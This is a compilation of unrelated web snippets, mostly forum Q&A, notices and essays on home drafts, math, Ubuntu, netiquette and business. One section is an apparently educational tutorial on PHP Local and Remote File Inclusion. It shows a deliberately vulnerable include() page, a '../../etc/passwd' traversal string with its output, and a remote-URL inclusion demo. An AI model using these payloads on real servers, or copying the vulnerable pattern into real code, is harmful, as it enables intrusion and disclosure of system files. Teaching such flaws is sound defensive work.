During the colder months there is a cold draft at the bottom of the stairs and I had a new drop down loft hatch installed 18 months ago as I was convinced that was the cause. It had become warped. But the draft remains with all windows shut! The loft is fully insulated and I have put rubber insulating tape around the edges although there is a small gap in places where it has warped very slightly but I can't feel a draft. There is no heating on the landing. Is there anything flat I could stick over the loft hatch joins as a seal?
If you can't feel a leak then there probably isn't one, at least not there. It could be that your loft hatch (attic door for the US crowd) is leaking a load of heat. Is the door itself cold? Loft hatches are typically made of very thin wood, which doesn't have much in the way of insulating properties. I've always found it helps to pull a layer of insulation over the loft opening before closing the door to help prevent loss of heat.
One thing about home improvements is that sometimes when you fix something you notice something else that was covered up before. You insulate your loft and your upstairs is much warmer, so now you notice the leak that was always there but was covered up by the massive heat loss from your loft. You'll fix that leak and then notice another one, and another. Then after fixing all those leaks you'll have to re-balance your radiators because people are getting heat stroke in the study. So it may be that the loft hatch isn't the problem in which case you need to have a hunt for the real culprit. I use the back of my hand and fingers to search for leaks, which could come from badly sealed windows, light fixtures leaking air through the ceiling, a hole for a waste pipe in the bathroom, etc.

Senator Rand Paul introduced a balanced budget resolution in the Senate last week.
In it, he proposes eliminating the Departments of Energy, Education, Commerce, and Housing and Urban Development. Even he says it's a drastic way to balance the budget in five years!
"It's a trade-off," said Senator Paul. "You have to decide which is more important, the problems we're encountering from having such an enormous debt, and what happens when we can't make our payments, what kind of calamity that will cause, versus the dislocation of eliminating some departments."
Paul says there would be a $19-million budget surplus after five years if his plan is adopted. He says that's without raising taxes or changing Social Security or Medicare.
Paul also says the federal debt is costing America one-million jobs-a-year.

One week ago, I asked a question on math.stackexchange.com (http://math.stackexchange.com/questions/209120/a-question-on-intuitionistc-propositional-logic). But nobody answered my question. So I present it here:
In the Kripke's semantics of intuitionistic propositional logic, the frames are all partially ordered frames. Prove that:
Two finite-rooted frames are isomorphic iff they validate the same formulas in the language of intuitionistic propositional logic.
Thanks very much.

Social Networking is a huge part of your life today, and knowing proper netiquette is important. Dr. Meier of the Meier Clinics shares how to enjoy social networking and represent Christ well too. Is there anything that you would add???
INTERNET ETIQUETTE (NETIQUETTE) FOR BELIEVERS INTRODUCTION: The internet can be a wonderful tool for us, as believers, to practice the Great Commandment: to Love God with all our hearts, and to love our neighbors as we practice biblical love and respect for ourselves. The Golden Rule also comes into play in internet communications: Do unto others as you would have them to unto yourself. Having made an internet search on emerging rules of etiquette on the net, now called "netiquette," I was surprised at how many of the "rules" I have accidentally broken myself. So I decided to write this brief summary of ways we can practice Christ-likeness on the internet while remaining our true and honest selves, loving and being loved via the net. So following are MEIER'S TWELVE RULES OF NETIQUETTE FOR BELIEVERS:
1. SPEAK THE TRUTH IN LOVE. When sending emails or using facebook or other social networks, be sure what you are saying is accurate and that you are sharing it in a loving manner. Being a Christian psychiatrist, I know there are many Christians who have genetic depression, mood swings, ADHD, OCD, or even schizophrenia who can now live happy, productive lives for Christ because of the invention of medications that correct the chemical imbalances that cause these disorders, much like insulin now allows diabetics to live when throughout history they died, or allows people with hypothyroidism to live instead of dying or being severely debilitated. I get so angry when I see ignorant, self-righteous, uneducated Christians say on facebook or other sites that it is a sin for Christians to take psychiatric medications. They are killing people who believe them. If you choose to believe something so absurd, you have a right to remain ignorant, but don't insist that others agree with your ignorance and imply that if they don't, they are not as spiritual as you think you are.
2. DON'T BE "SUPERSPIRITUAL." The great Christian philosopher, Francis Schaeffer, who went to be with the Lord in 1984, wrote about how Satan uses "superspirituality" in Christians to further his evil causes. God wants us to be truly spiritual, practicing love, joy, peace, patience, meekness, gentleness, and other examples of the Holy Spirit's influence in our lives. Superspirituality is when a believer, or a pretend-believer, acts more spiritual than others, preaches at them, brags about his or her spirituality, and quotes Bible verses with everything he or she says like biblical band aides, instead of using them when appropriate like Jesus did. To use the internet not only to keep up with our own communications, but also to be a good influence for Christ, we must PRACTICE Christ-likeness, not preach it online or shout it in a condescending manner.
3. DON'T GOSSIP. I hate it when a Christian sends out a general email to a large group of people or puts on facebook a prayer request to pray for her unsaved neighbor who is living in sin, or for someone's impotence problem or temper outbursts or other negative things. If a Sunday School class has a prayer list that all agrees to share their own personal requests for the other group-members to pray for, that is wonderful and perfectly fine. But don't put personal information about anyone, without that person's permission, in any public correspondences or else you are committing one of the seven sins God hates the most—gossiping. Proverbs chapter 6 lists the seven sins God hates the most, and number one is an arrogant look—thinking yourself better or more spiritual than others, and among the other six are sewing discord among the brothers, gossiping, stretching the truth, impulsively rushing to do evil, and murder. Christians sometimes think that because they do not commit adultery, which does make the ten commandments but is not in the top seven list, they are somehow spiritual even though they commit four or five of the top seven sins, including on the internet.
4. DON'T BE OVERLY WORDY. Narcissists write on and on about themselves until the reader wants to puke. Christ-like believers use the internet to listen as much as to share, asking the people you email how they are feeling and doing as well as sharing briefly your own thoughts and feelings that you would like to share with the other person.
5. NO MASS MAILINGS. Christians like to find information—often wonderful information—or cute jokes or inspiring poems or other generally good and informative things, and then send them out to their entire mailing list. I have done this myself prior to getting some legitimate complaints from personal friends who do not want their email addresses getting out to everyone on my entire email list. Share these wonderful things with people one at a time, or people who have given you permission to share their email address with the others on your mailing list, but not to people who value their privacy. And whatever you do, do NOT end it with a guilt trip like if they do not pass the information along to their own mailing list they are somehow "breaking the chain" of God's work or something. How arrogant. Are you God?
6. BE COMPASSIONATE AND EMPATHETIC. It is hard to share feelings on the internet. In person, people can see the genuine concern and love on our faces when we share personal things with each other. On the internet, things can get misinterpreted more easily, or we can give pat answers rather than practicing Christ-likeness. Jesus said to weep with those who weep. If someone is grieving a great loss, and you quote Romans 8:28 out of context, for example, telling them, "Oh well, all things work together for good," or "Well, it must have been God's will," rather than doing what Jesus said to do, which is to show empathy and weep and grieve with them, then you are applying biblical band aides and offending brothers rather than being of benefit to them. Solomon said that a brother offended is harder to win than defeating a strong city. Romans 8:28 is a great verse, one I have used many times in my psychiatric office, but in context, not to discourage grieving. In fact, Jesus said in the beatitudes that people who weep and grieve are blessed by Him, because their grieving and weeping will bring comfort.
7. DON'T FLAME. Flaming is an internet term meaning an exchange of inflammatory remarks to each other in anger. If someone hurts you, Ephesians 4;26-27 says it is perfectly fine and not a sin for you to feel angry, and the Bible even encourages you in various places, even in the Old Testament commandments, like in Leviticus 19, to share your anger appropriately with the person who offended you, but not to get vengeance or to hold grudges, or you give Satan a foothold in your life. So when you are angry at someone, think and pray about it before you decide prayerfully what would be the most godly way to share that anger, or whether it might even be better not to in certain circumstances, rather than reacting in anger and saying things in an inflammatory manner that you may very well regret later—FLAMING.
8. DON'T BE GULLIBLE. The middle verse in the entire Bible is a verse in Psalms that says "Put not your trust in man." Don't automatically believe information on the internet or people who communicate with you via the internet. Most human beings lie. Most information on the internet is untrue or at least partially untrue. Patients come to see me and tell me information that I know is scientifically false, so I ask them if they found it on the internet. If they say yes, then I tell them that if it was on the internet it must not be true. I am being facetious, of course, because some information on the internet actually is true and helpful, but I am making the point that they should not be naïve and believe any information on the internet or any person on the internet. Many evil people use the internet to take advantage of others sexually, financially, or in other ways. They are wolves in sheep's clothing.
9. DON'T BULLY OR PUT UP WITH BULLYING. Sadly, in this era of declining morals, some teens or even adults use the internet to bully other people, getting a kick out of it somehow. They insult someone directly or on social networks where the insulted people can read insults about themselves. This is a horrible thing to do—stealing a person's dignity and reputation. If you have done it, repent and never do it again. If it is happening to you, contact authority figures who can stop and punish the bullies.
10. CHECK YOUR EMAILS OFTEN. If you choose to use emailing to communicate with your friends, like I myself have, then it hurts someone's feelings if they communicate something important to you and you have not responded even days later. If you use the internet, check your emails at least daily. I check mine several times a day, sending or receiving a dozen or more emails a day with my prayer partner, friends, family and associates. It is a wonderful privilege to be able to so easily stay in touch with a larger group of people than would be possible if I had to call people on the phone, which can be time consuming and frustrating if they are not available to answer the phone. I still use the phone, of course, and texting by phone, but can stay in touch with more people in less time by the wonders of the internet. It is a blessing. I have friends even in France, Israel, Australia, Sweden and other countries that I can keep up with via email. In fact, my prayer partner is a French psychologist who lives in Paris, and we email each other almost daily.
11. DON'T SEND MESSAGES USING ALL CAPITAL LETTERS. I have made this mistake before myself. But when emailing someone, if you use all capital letters they feel as though you are shouting at them.
12. BE HELPFUL TO OTHERS. If someone is new on the internet, help him or her. Be patient and teach him these rules to keep him from embarrassing himself. Pray and look for other ways to show Christian love on the internet. Look for people to help or encourage. Sometimes I just sit down with my computer and pray a few minutes—I even read my Bible daily on the computer—and then think of two or three people you can send a brief word of encouragement. Sometimes it is just, "Hi, I was just thinking about you and prayed for God to bless you today in a special way." There have been many times when I felt temporarily down in the dumps because of some loss or tragic event in my life, only to be encouraged by a positive email sent by a friend thousands of miles away who had no idea I needed his support at that very moment.
GOD USES THE INTERNET through us sometimes. Pretty cool, right?

Last year, my child's school selected my child for Gifted testing.
He was not selected.
He will be retested this year.
Is there anything I can do to prep him for this test?
An IQ test is not something you are supposed to be able to study for.
The best things you can do to prepare your child for an IQ test are to make sure that he is well-rested and comfortable during the test. Try to avoid projecting any cause for him to feel nervous about the test itself.
The National Association for Gifted Children has some good information for parents looking to have their children tested for Gifted programs.
In particular, this is relevant information you should keep in mind:
So try to make your child as calm and comfortable with the idea of being tested as possible.
My view of the situation is this:
On the strength of an IQ test, your child may or may not be able to take a foreign language program at an early age.
Now, lets make a number of assumptions:
Ok, so all tests, to some degree, can be gamed. Lets say that there was a book out there containing past IQ tests, so that you could familiarise your child with what to expect. If you prep your child in such a way, it may well raise their result in the IQ test, but what effect would it have on their ability to learn the foreign language?
Absolutely none.
All that would happen, is that your child would start a course that they weren't really ready for. Consequently they will find it too difficult, assuming the logic for applying the IQ test in the first place was sound.
Now, there may well be exceptions to this. For instance, your child may very well know the foreign language already, and may be prevented from studying it early by bureaucracy. IE, the school says that all pupils must have a high IQ in order to study the language. If this is the case I can 100% sympathise. But if your's is just a regular kid (and there's nothing wrong with that) then just let them learn at a regular rate. If you push them too hard they will eventually push back. Remember Newton's Third Law!
On a final note, I am not saying one should never prep for an exam by looking at past papers etc. Far from it, once you have studied the course, you should do all that you can to legitimately gain an edge.
Thank you for your interest in this question.

To all Village of Ilion residents;
It has been brought to the Village's attention that during recent windy weather conditions we have been experiencing, that recyclable materials are being blown around various neighborhoods when placed out for collection.
Please remain aware that recyclables are NOT to be placed in plastic bags due to having to remain loose when placed in the collection vehicle.
Recyclables also need to be placed in a container WITH A LID when placed to the curb on your collection night.
Thank you for your cooperation with this issue in keeping Ilion as clean as possible.

Prove that $\sum_{i=1}^{n} i^3 = \left( \frac{n(n+1)}{2} \right)^2$.
We can check this is true for n=0,1,2,3,4. Since the right side is a polynomial of degree 4, and the left side is a sum of monomials whose degree is <= 4, then if both polynomials coincide for five points, they must be the same.
My question: is this proof rigorous? I'm concerned about the left side sum.

How can I change console shell's resolution?
By this I mean the shell when you Ctrl+Alt+F1.
I'm running Ubuntu 9.10, I thought this could be done by changing grub's

How can I change console shell's resolution?
By this I mean the shell when you Ctrl+Alt+F1.
Edit /boot/grub/grub.cfg Identify a block that looks like this (your current running kernel):
Edit the "linux ..." line and, at the end (after "quiet splash"), leave a blank and add something like "vga=773" or another code, depending on the resolution. Here is a list of codes for various resolutions.
Reboot and the new resolution should be enabled.
The provided link gives a list of modes on one particular system; with the 'hwinfo' utility you can generate a list of modes for your system as follows:
hwinfo --framebuffer
To add custom boot options to your boot linux from grub 2, you need to edit
find the line that reads

if you know your exact vga= number is, then put that in instead of "ask"
After you edit any of grubs files in /etc you should run

Sorry, vga=ask as well as similar to vga=796 does not work, at least not on my system (acer aspir 5532 laptop). Similar to vga=798 gives me a warning after the grub menu that goes by a bit to fast for me to read (probably in /var/logs somewhere), but it starts with "vga=798 is deprecated", then continues to boot. My vt's are then standard resolution (whatever that is, 800x640?). Giving it vga=ask gives me a "no longer supported" error after grub, "press any key to continue." Pressing a key gives me a "you have to load a kernel first" error and goes back to grub, after which it repeats. To get out of that I had to press "e" in grub and edit the arguments before booting. Guess I could have gone to recovery mode instead and edited /etc/default/grub then run update-grub. If I find something that works I'll post it here, morning the loss of /boot/grub/menu.lst all the while.
Boot with the
try holding the shift key down while booting. when the menu appears press c for the commandline and then enter "vbeinfo" this will give you a list of supported resolutions for your videocard. It might be that the number representing what you want is there. on mine for example 1152x864x32 is 0x156 I am thinking this 156 number may be what it is looking for?
One way would be to switch back to Grub 1, if you can figure out how. It should be doable, because Karmic still supports Grub 1 for computers that upgrade from 9.04 and earlier versions.

Bob Wilkinson of Bryan joined the service in 1949 right out of high school, after he was in on the tail end of Korea, he was stationed near Beeville, Texas, to train in flying helicopters.
"I was on maneuvers in the Philippines and I got a transmission from headquarters Marine Corps to report to Quanico immediately because I was being considered as one of the pilots for Marine One."
Wilkinson was eventually selected as one of the marine helicopter pilots assigned to the White House and he transported President Eisenhower and First Lady Mamie Eisenhower back and forth to Camp David.
"The first year over there I spent 32 weeks at Camp David, and usually picked up the Eisenhower's from the White House lawn on Friday afternoon, then fly them up to Camp David and on Saturday morning we would usually fly them over to their farm which was only about 8 minutes away in Gettysburg and come and get them before night fall."
"They were always due to fly back on Sunday afternoon, and it was usually about 3:00 p.m. in the afternoon. An hour before that we would get a call in our quarters and it would be Mamie on the line telling us she wasn't flying back and the president wasn't either. We would be flying the president back at 7:00 a.m. on Monday morning and she would drive back. Mamie didn't like to fly, she would fly to get away from Washington but she never flew to get back, as far as I knew, on helicopters. She would apologize for keeping us up there another night and then invite us down to dinner and watch a movie. Ike liked westerns so Hollywood would ship the latest westerns out to him every week and in those 32 weekends I never saw the same movie."
When Vietnam broke out, Bob Wilkinson was sent on his 2nd and 3rd tours of duty in southeast Asia.
"I was in Vietnam for about 3 months as a CO of a support squadron, headquarters and maintenance squadron, and then took over an attack squadron, a marine helicopter attack squadron. I had 18 gunships and 6 huey slicks. Everyday we had to support long range recon.You knew you were going to be shot at everyday. At that time I had very few senior officers, Lt. Colonel, 2 or 3 majors and the rest were 1st Lt.'s right out of flight school. One of them was the most highly decorated aviators for Marine Corps in Vietnam. Another became a marine corps 4 star. I am very proud of those young marines."
Bob Wilkinson retired to Bryan in 1977 and is a member of the local BSA - the Been Shot At group and he still keeps those fond memories of his time in action.
"28 years of service and I enjoyed everyone of them like it was, a few hours of boredom and a few moments of stark terror. About the only thing I can say about combat is when your in combat and someone is shooting at you, you feel like 10 seconds is 2 hours, you can see it going on but there's not a darn thing you can do about it."
For Voices of Veterans, I'm Tom Turbiville.

He writes 'Not long ago Nazism transformed the whole of Europe into a veritable colony', meaning that the techniques pioneered in the colonies of Europe were turned upon Europe itself, culminating in the horrors of the holocaust, mirroring that, of say the Belgian Congo.
Fanons 'Concerning Violence' makes the point that Nazism was the culminating point of the project of European Colonialism, how true is that?
Parts of Europe had tried to colonise itself for ages. It wasn't just something the Nazi's did. From the Romans who 'Romanised' their places onward, respect for lots of other cultures is relatively new in Europe (last 100 years or so)

Linda, a good resource for you may be Fred O'Hara. I've tracked him attending most all conferences that I've attended for STC.
- held a celebration meeting
- communicated the decree to chapter members and their employers
- visited TC classrooms and shared our story with students at our local universities
- sent press releases to the local papers about the decree and our profession
This is easily done and I can provide the text of our request. It would be great to see how many states grant the decree.
Having the week of the Summit declared National Technical Communication Week by the President would be very cool.
I worked at a company that created a website to celebrate its 30th anniversary in business. We could see the milestones accomplished, read the postings from other employees in other countries, and learn about our coworkers near and far.
I like this idea provided that those in the pics have a way of approving the images before they get posted to the web.
Thanks Mollye! I will definitely be working with the CAC to have a plan for communities to help celebrate STC's anniversary, as well as plan for their own milestone events.

I noticed that, while we have (at this point in time, 2009-09-02) 4 people who qualify for moderator status on serverfault, only one has been granted the "diamond". Are we going to have more moderators in the near future, or will poor Splattne be left to fend for himself? Just curious.
I'm talking about non-employees, folks. Read the question again - please.
So it seems there's confusion on two fronts - moderators are not necessarily "employees", but at the same time, the verbage used to describe their access isn't exactly clear either.

I have observed that the wider the aperture, the more expensive the lenses are. However, I would like to know whether it really makes a difference in your photos or not?
Yes, there are several reasons for this.
Define better. ;-)
Professionals tend to want to use lenses with larger apertures so they can either limit depth of field or work in marginal lighting. Because these lenses are marketed towards professionals they usually have a higher build quality, and so are heavier and more expensive.
Also pros tend to want constant apertures in zoom lenses, which makes the zooms require more glass and more complicated lens groupings -- both of which increase the cost (along with the whole pro-build thing).
That said, there are plenty of medium and large format lenses that have a maximum apertures of no more than 5.6 -- and no one is complaining about the quality of those lenses. We aren't talking about that level of photography, but modern first party and major third party lenses should be of acceptable quality for most purposes.
At a personal level, one of my favorite lenses is an old Nikkon 50mm f1.4 -- not the new G model. That lens doesn't really look all that great in lab tests at dpreview.com, but I'm very happy with the actual pictures I've taken. I've also taken some good pictures with a Canon kit lens (variable aperture zoom).
Oh boy, so subjective ... does this count as an answer?
Interestingly medium and large format lenses are often slower. In general in a MF camera a fast lens will be f2.8. And in Large format good luck finding anything faster than f5.6 (and in general that will shoot at about f11 or slower).

Diversity and Inclusion
Fostering a diverse and inclusive Yale community
Diversity & Inclusion collaborates with departments and individuals across the Yale campus to promote a respectful, accessible and inclusive community for all Yale employees.
Diversity is the broad range of attributes, experiences, and characteristics (race, gender, cultural heritage, sexual orientation, physical/mental ability, age, national origin, etc.) that makes us uniquely who we are. At Yale, inclusion means creating a work environment where each person has the opportunity to participate fully to achieve the mission of the University and is valued for their distinctive skills and capabilities.
A diverse workforce and inclusive environment increases productivity, creates new ideas, performs on a higher level and enhances Yale's ability to continue to excel in an increasingly complex, competitive and diverse world.
We provide a range of information, consultation and training to the Yale community on issues related to workforce diversity and inclusion.
Some of the strategic goals of the Office of Diversity and Inclusion include:
- Strengthen diversity recruitment efforts
- Develop our internal talent
- Enhance mentoring programs with a goal of creating a climate where mentoring is the norm.
- Offer diversity education opportunities for all members of the Yale community
- Develop a system of metrics to track and assess progress.
- Develop strategies to communicate and publicize Yale's diversity milestones.
For more information contact the Diversity and Inclusion office at 203-432-9667.

Consider the matrix $H=H^T$, $H>0$, $H \in R^{n \times n}$, and the vector $v \in R^n$. In a numerical algorithm, I need to compute the product $b = Hv$. Right now I am following the naive approach: $b_i = \sum_{j=1}^{n} h_{ij} v_j, i=1,...,n$. Is there a faster way to compute this product? $H$ is non-sparse and constant (i.e. eigenvectors, eigenvalues, etc. of $H$ are available).
If I understand the question right, by "constant" it is meant that $H$ is a fixed, but arbitrary positive definite matrix.
In general, I don't think that you can compute the matrix-vector product $Hv$ faster than $O(n^2)$. But if $H$ has structure (Toeplitz, Circulant, Strictly diagonally dominant, etc.), or if you are willing to settle for approximate answers, you can compute the product faster ("randomized linear algebra" is a good search term).
A very naive approach is the following: Suppose that $v$ is some vector, and instead of using $H$, you use $H_k$, the top-$k$ rank approximation to $H$. Then, $H_kv$ can be computed in time $O(nk)$. The error of this computation is $\|Hv-H_kv\| \le \|H-H_k\|\times\|v\|$, which is fairly easy to characterize.
In practice no, unless $H$ has some additional structure that you haven't told us about (low rank blocks, displacement structure, or similar stuff).
There are some results on faster-than-$O(n^3)$ matrix multiplication (by the way, the exponent has recently been lowered to $O(n^{2.373})$), but as far as I know none of them is actually viable in practice.
Grab the fastest BLAS implementation that you can find for your machine, and use it.
In practice, on typical desktop computers and server class machines using the x86-64 architecture, matrix-vector multiplication is limited more by memory bandwidth than floating point operations. This happens because there are no opportunities in matrix-vector multiplication for bringing data in from memory to cache and reusing it before flushing it out of the cache. Getting a matrix-vector multiply to run at full memory bandwidth is generally quite easy.
As others have pointed out, you might be able to go faster if the matrix has specialized structure (e.g. if it's a Toeplitz matrix you can do the multiplications in O(n*log(n)) time.)
In fact, $O(n^2)$ arithmetic operations is not avoidable, in general. A general result by Winograd (see "Algebraic complexity theory" by Buergisser, Clausen, and Shokrollahi, Sect. 13.2) shows that the for a generic $m\times n$ matrix (all the entries are algebraically independent) and a generic vector one will need $O(mn)$ multiplications and additions (there is a precise formula too, but $O(mn)$ would do for our purposes). PSD matrices are symmetric, so directly it won't apply t $H$. However, you can cut $H$ into blocks: $H=\begin{pmatrix} H_{11}&H_{12}\\ H_{12}^\top&H_{22}\end{pmatrix}$. Then $H_{12}$ is generic, in general, and, writing $v$ as a block vector $v=(v^1,v^2)$ one has $b=(b^1,b^2)=(H_{11}v^1+H_{12}v^2, H_{12}^\top v^1+H_{22}v^2)$. Now Winograd's result is applicable to $H_{12}$, so you still get $O(n^2)$, as you cannot avoid computing $H_{12}v^2$ when you try to get $b$.

Alternatively, there might be another source that could send a beam to the same detector at Gran Sasso, with a different baseline, looking to verify the value of $\frac {v-c}{c}$ with a different value of $\delta t$?

The Kentucky Transportation Cabinet is continuing construction on I-65 in Hart County.
The right northbound lane will be closed on I-65 between mile markers 56 and 59 for the next three nights between 7 PM and 7 AM.
This will help widen I-65 to three lanes.
Officials say it's important to pay attention to signage, since a barrier wall is being placed to divide the lanes.
"With the divided lanes you will need to stay in the right hand lane to exit at certain times. You'll need to pay close attention to the signage. We're finding a lot of folks are missing signage and maybe missing their exit. We have those posted. You just need to slow down, take your time and certainly pay attention to the signage," says KYTC District 4 Public Information Officer, Chris Jessie.
The project is expected to be completed by the fall of next year.

In my
.vimrc file, I have the following two lines:
noremap! <C-PageDown> :bnext <CR>
noremap! <C-PageUp> :bprev <CR>
but they do not work! In insert mode, typing
(literally) and similarly so for
<C-PageUp> and if I try to execute the command I get
(plus a newline). In normal mode there's no effect. Thus, I know that the key map isn't being gobbled up by
X or my shell but what else could be the problem? Other key maps work fine.

Mountain High
One of Houstonians' favorite getaway destinations was the scene for highly successful fundraising fetes for two Houston hospitals. The St. Luke's Foundation's Summer Speaker Series took place at the Aspen residence of Polly and Murry Bowden, where guests like Jana and Scott Arnoldy and Susan and David Fine feted Dr. David Yoshor while soaking in the mountain views. ... Nearby, Houston Methodist Hospital hosted its Peak Performances event, where musicians from the Aspen Music Festival played for 130 supporters.

Local File Inclusion
Local File Inclusion ( LFI ) is a method of including files on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an inclusion type (like , include() , require() etc.) . Mostly these attacks are accompanied by Directory Transversal attacks which can reveal some sensitive data leading to further attacks.
Now thats quite a bit of theory there lets have a look on a sample vulnerable application.
Demonstration [Proof of Concept]
I have created a pair of files named index.html and lfi.php
  <title>Vulnerable to LFI -- by lionaneesh</title>
Welcome to this Website
 <?php $page = isset($_GET['page']) ? $_GET['page'] : 'index.html'; ?>
You are currently at <?php echo"$page";?>
 <?php include($page); ?>

Hello I am a sample page my name is index.html

First lets try and give this app a normal input which it would be expecting.
Input: index.html
Welcome to this Website You are currently at index.html Hello I am a sample page my name is index.html
Constructing the attack string
As I am working on UNIX well print out the contents of /etc/passwd file , The file /etc/passwd is a local source of information about users' accounts.
My present working directory is /var/www/ , So what I have to do is :-
- Go back 2 directories and
- Then go to /etc/passwd
Attack string :-
Input: ../../etc/passwd
Welcome to this Website You are currently at ../../etc/passwd root:x:0:1:Super-User:/root:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/
Remote File Inclusion
RFI is an abbreviation for Remove File Inclusion and is quite similar to LFI, Remote File Inclusion ( RFI ) is a method of including Remote files(present on another server) on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an inclusion type (like, include (), require () etc.)
Demonstration [Proof of Concept]
Well be using the same sample web-app we used to Demonstrate LFI
Constructing the attack string:-
In our case we want to include go4experts index file in our local file.
So what we have to do is, simply provide the URI as an input and see what happens
Input : http://go4expert.com
Output (page source):-
  <title>Vulnerable to LFI -- by lionaneesh</title>
Welcome to this Website

You are currently at http://go4expert.com
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="Cache-Control" content="no-cache" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <title>Programming and SEO Forums </title>    --------Sniped-----------
Note: In most modern php.ini files, allow_url_include is set to off which would not allow a malicious user to include a remote file.
Thats all for this tutorial stay tuned for more!


text: Okay guys, I have a few kiddie tutorials for all the novice or beginning artists out there that can't really draw too much of what is on Dragoart based on the front page. To start, I will show you "how to draw a cow for kids", step by step. Like I've said hundreds of times before, drawing simple animals that everyone can tackle is pretty sweet because I know for sure that there should be little to no complications with the tutorial. The cow is a very popular farm animal to draw, especially if you are drawing a farm and you want to fill that farm with some typical animals. Critters like pigs, horses, chickens, goats, and even a donkey, are just a few farm animals that one can expect to see when visiting a real farm. When you're in the country driving down those winding side roads, there are tons of pastures with cows grazing the grass as their calves drink from their bellies. Anyways, this should be a fairly easy lesson to tackle. When you are done you can show everybody that you can actually "draw a cow" and make it look like one. Have fun guys and keep the creativity flowing by drawing until you fall asleep. Peace people!

Let $\phi$ be a scalar field and then I see the following expression (1) for the square of the normal ordered version of $\phi^2(x)$.
$$T(:\phi^2(x)::\phi^2(0):) ~=~ 2<0|T(\phi(x)\phi(0))|0>^2 $$ $$ ~+~ 4<0|T(\phi(x)\phi(0))|0>:\phi(x)\phi(0): ~+~ :\phi^2(x)\phi^2(0): \tag{1}$$
It would be great if someone can help derive the above expression - may be from scratch - and without outsourcing to Wick's theorem - and may be help connect as to why the above is related (equal?) to the Wick's theorem?
Isn't the above also known as OPE (Operator Product Expansion)? If yes, then is there at all any difference between OPE and Wick's theorem? Is there a systematic way to derive such OPEs?
Can one help extend this to Fermions?

I am trying to understand the theory of cubical structures and am interested in knowing if a disconnected commutative group variety whose identity component is a semi-abelian variety satisfies the theorem of the cube.
Recall that if $X$ is an abelian variety and $L$ is a line bundle on $X$ that is rigidified along the identity sectionn, then the Theorem of the Cube implies that the line bundle
$$ \Theta(L) := m_{123}^{*}(L) \otimes m_{12}^{*}(L^{-1}) \otimes m_{13}^{*}(L^{-1}) m_{23}^{*}(L^{-1}) \otimes m_{1}^{*}(L) \otimes m_{2}^{*}(L) \otimes m_{3}^{*}(L) $$
admits a unique trivialization that makes
$$ \Lambda(L) := m^{*}(L) \otimes p_1^{*}(L^{-1}) \otimes p_{2}^{*}(L^{-1}) $$
into a symmetric biextension of $X \times X$ by $\mathbb{G}_{m}$.
Here $m$ denotes the multiplication map, $p_i$ the projection maps, and $m_{\underline{i}}$ the morphism $X \times X \times X \to X$ given by summing the coordinates whose indices are in $\underline{i}$.
More generally, Breen proved this fact remains true when $X$ is a semi-abelian variety.
Does this statement remain true if we allow $X$ to have non-trivial component group?
If not, what is a example of a rigidified line bundle that does not have canonical cubical structure.
Does the theorem remain valid you rigidify along $1$ fixed point on every component (rather along the identity element)?
Added As BCnrd notes, over a more general base the formulas should be modified by adding the term $0^{*}(L^{\otimes \pm 1})$, which should be thought of as $m_{\emptyset}^{*}(L^{\otimes \pm 1})$. This (rigidified) line bundle is trivial when the base if a field, but not in general.

The revolutions unfolding in the Middle East may seem spontaneous, chaotic and ragtag. But we've found that certain principles apply to any revolution that sustains and succeeds; whether it's in Syria or the United States; whether it's in politics or business.
In fact, we've been lucky enough to take part in and learn from some of the most impactful political and business revolutions in the past 40 years. Our book, The Underdog Advantage, defines the common principles of successful insurgent campaigns.
Revolutions have rules for success – in warfare and politics. And we are seeing these same revolutionary forces in most business markets today. In almost every area of the world and every marketplace, traditional market leaders seem to stand there flat-footed and dazed as float-like-a-butterfly-sting-like-a-bee insurgents swarm around them.
Of course, we all want to lead a revolution. Deep down, we all do want to change the world (or our world). We'd love to run or be a part of a really cool, edgy, innovative company that's tearing up the marketplace. And we all know that ordinary just doesn't cut it anymore. Business-as-usual won't make it in this turbulent, hyper-competitive environment. It takes a revolutionary spirit to compete and win today.
Do you want to be more like Steven Jobs and have a company that's more like Apple, or Zappos or Under Armour or Red Bull or Facebook? We've been able to work with many of the great bomb-throwers of the past forty years in global business; Steven Jobs, Mike Roberts, Joanna Jacobson, Bill Gates, Don Keough, Mickey Drexler, Rupert Murdoch, Mary Wells, Michael King, Michael Milken, Bob Iger, Dan Weiden and many others. In fact, we've built our insurgent strategic discipline at Core Strategy Group around the lessons learned from these change leaders.
This article consolidates a lot of what we've learned into a users' manual for leaders of revolutionary organizations.
If you really want to lead a revolutionary organization, there's one cold hard fact you must begin with – you can only be a revolutionary if you're part of a true revolution. Wearing blue jeans in an investment bank doesn't make you a revolutionary. This isn't about fashion or cutting-edge affectation – it's about changing the world in which you work and live. Mike Milken wore a traditional (and very inexpensive) business suit – and led a revolution that democratized capital in the U.S. It's about bet-your-career boldness in order to wage and win that revolution. The young people in Tahrir Square have put a lot more than their careers on the line to create a revolution of opportunity in Egypt.
This revolution of yours will most often be a part of a much bigger revolution of broader technological, economic and social change; your own revolution will be one of many streams running into that raging torrent. You've got to identify, understand and join that bigger revolution.
It's not bad to be a part of a bigger revolution – that can help educate the public, create a much wider support base and provide suppliers and partners who share your interests and values.
What is your revolution? How are you changing the way things are done in your industry? How are you joining with others to change the world?
Once you've defined the overall revolution you want to create or join … chances are you will have to create an internal revolution within your organization before you'll get the opportunity to create or join a true revolution outside it. Indeed, that fight might be your toughest fight.
All of these leaders evangelized the ways in which personal computers would improve our lives – they were right. The "PC Revolution" was meant to change the way people work and live. It certainly did. Just think of the role of Facebook, Google and Twitter in the current political revolutions.
Mostly, the "PC Revolutionaries" fought against the very idea of business-as-usual; the hidebound resistance to change of the biggest organizations. It was insurgents against incumbents – or, as Pat Caddell and I wrote in "The Dolphin Versus the Shark" model for Steven Jobs: "It's change-leaders versus bigness-leaders."
